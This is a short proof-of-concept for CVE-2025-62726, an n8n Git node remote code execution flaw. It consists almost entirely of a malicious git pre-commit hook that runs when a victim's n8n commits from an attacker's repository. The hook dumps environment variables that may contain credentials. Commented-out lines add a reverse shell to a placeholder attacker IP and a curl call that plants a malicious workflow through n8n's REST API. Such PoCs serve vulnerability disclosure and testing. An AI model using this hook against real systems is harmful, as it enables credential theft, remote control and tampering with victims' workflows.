CVE-2025-62726: n8n Git节点远程代码执行漏洞

# Malicious pre-commit hook for CVE-2025-62726 # This PoC demonstrates the vulnerability in n8n Git Node #!/bin/bash # Place this file in .git/hooks/pre-commit of a malicious repository # When victim performs commit operation in n8n Git Node, this hook will be executed echo "Pre-commit hook triggered!" >> /tmp/pwned.log # Example: Exfiltrate environment variables (may contain credentials) env > /tmp/n8n_env_$(date +%s).log # Example: Execute reverse shell # bash -i >& /dev/tcp/attacker_ip/port 2>&1 & # Example: Modify n8n workflows # curl -X POST http://localhost:5678/rest/workflows -H "Content-Type: application/json" -d '{"name":"Malicious Workflow","nodes":[],"connections":{}}' echo "Compromised n8n environment via pre-commit hook"